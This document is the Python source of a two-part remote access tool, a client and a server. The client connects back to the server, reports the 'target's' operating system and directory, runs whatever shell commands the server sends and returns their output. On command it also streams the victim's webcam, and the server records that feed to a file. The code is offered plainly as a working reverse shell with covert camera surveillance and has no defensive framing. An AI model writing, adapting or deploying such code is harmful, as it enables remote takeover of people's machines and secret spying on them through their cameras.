client.py
import socket # For network (client-server) communication.
import os # For handling os executions.
import subprocess # For executing system commands.
import cv2 # For recording the video.
import threading # For recording the video in a different thread.
import platform # We use this to get the os of the target (client).
SERVER_HOST = "127.0.0.1" # Server's IP address
SERVER_PORT = 4000
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, you can adjust this.
# Separator string for sending 2 messages at a time.
SEPARATOR = "<sep>"
# Create the socket object.
s = socket.socket()
# Connect to the server.
s.connect((SERVER_HOST, SERVER_PORT))
# Get the current directory and os and send it to the server.
cwd = os.getcwd()
targets_os = platform.system()
s.send(cwd.encode())
s.send(targets_os.encode())
# Function to record and send the video.
def record_video():
global cap
cap = cv2.VideoCapture(0)
while True:
ret, frame = cap.read()
if not ret:
break
_, frame_bytes = cv2.imencode('.jpg', frame)
frame_size = len(frame_bytes)
s.sendall(frame_size.to_bytes(4, byteorder='little'))
s.sendall(frame_bytes)
cap.release()
cv2.destroyAllWindows()
while True:
# receive the command from the server.
command = s.recv(BUFFER_SIZE).decode()
splited_command = command.split()
if command.lower() == "exit":
# if the command is exit, just break out of the loop.
break
elif command.lower() == "start":
# Start recording video in a separate thread
recording_thread = threading.Thread(target=record_video)
recording_thread.start()
output = "Video recording started."
print(output)
else:
# execute the command and retrieve the results.
output = subprocess.getoutput(command)
# get the current working directory as output.
cwd = os.getcwd()
# send the results back to the server.
message = f"{output}{SEPARATOR}{cwd}"
s.send(message.encode())
# close client connection.
s.close()
server_side.py
import socket # For network (client-server) communication.
import cv2 # For video recording.
import signal # For handling the ctrl+c command when exiting the program.
import threading # For running the video recording in a seperate thread.
import numpy as np # For working with video frames.
# SERVER_HOST = "0.0.0.0" # Bind the server to all available network interfaces.
# or if you want to test it locally, use 127.0.0.1
SERVER_HOST = "127.0.0.1"
SERVER_PORT = 4000
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages. You can adjust this to your taste
# Separator string for sending 2 messages at a time
SEPARATOR = "<sep>"
# Create the socket object.
s = socket.socket()
# Bind the socket to all IP addresses of this host.
s.bind((SERVER_HOST, SERVER_PORT))
# Make the PORT reusable
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Set maximum number of queued connections to 5.
s.listen(5)
print(f"Listening as {SERVER_HOST} on port {SERVER_PORT} ...")
# Accept any connections attempted.
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
# Receive the current working directory and os of the target (client).
cwd = client_socket.recv(BUFFER_SIZE).decode()
targets_os = client_socket.recv(BUFFER_SIZE).decode()
# Print the info received.
print("[+] Current working directory: ", cwd)
print("[+] Target's Operating system: ", targets_os)
# Set up the video capture and writer.
cap = None
out = None
recording_thread = None
# Function to handle Ctrl+C signal.
def signal_handler(sig, frame):
print('Saving video and exiting...')
if recording_thread is not None:
recording_thread.join()
if cap is not None and out is not None:
cap.release()
out.release()
cv2.destroyAllWindows()
client_socket.close()
s.close()
exit(0)
# Set up the signal handler.
signal.signal(signal.SIGINT, signal_handler)
# Function to record and display the video.
def record_video():
global out
fourcc = cv2.VideoWriter_fourcc(*'mp4v')
out = cv2.VideoWriter('output.mp4', fourcc, 30.0, (640, 480))
while True:
# Receive the frame size.
frame_size = int.from_bytes(client_socket.recv(4), byteorder='little')
# Receive the frame data.
frame_data = b''
while len(frame_data) < frame_size:
packet = client_socket.recv(min(BUFFER_SIZE, frame_size - len(frame_data)))
if not packet:
break
frame_data += packet
if not frame_data:
break
# Decode the frame.
frame = cv2.imdecode(np.frombuffer(frame_data, dtype=np.uint8), cv2.IMREAD_COLOR)
# Write the frame to the video file.
out.write(frame)
# Display the frame.
cv2.imshow('Remote Camera Feed', frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
out.release()
client_socket.close()
cv2.destroyAllWindows()
while True:
# Get the command from the user.
command = input(f"{cwd} $> ")
if not command.strip():
# Empty command.
continue
# Send the command to the client.
client_socket.send(command.encode())
if command.lower() == "exit":
# If the command is exit, just break out of the loop.
break
elif command.lower() == "start":
# Start recording video in a separate thread.
recording_thread = threading.Thread(target=record_video)
recording_thread.start()
output = "Video recording started."
print(output)
else:
# Receive the results from the client.
output = client_socket.recv(BUFFER_SIZE).decode()
results, cwd = output.split(SEPARATOR)
print(results)
# Close the connection to the client and server.
if recording_thread is not None:
recording_thread.join()
client_socket.close()
s.close()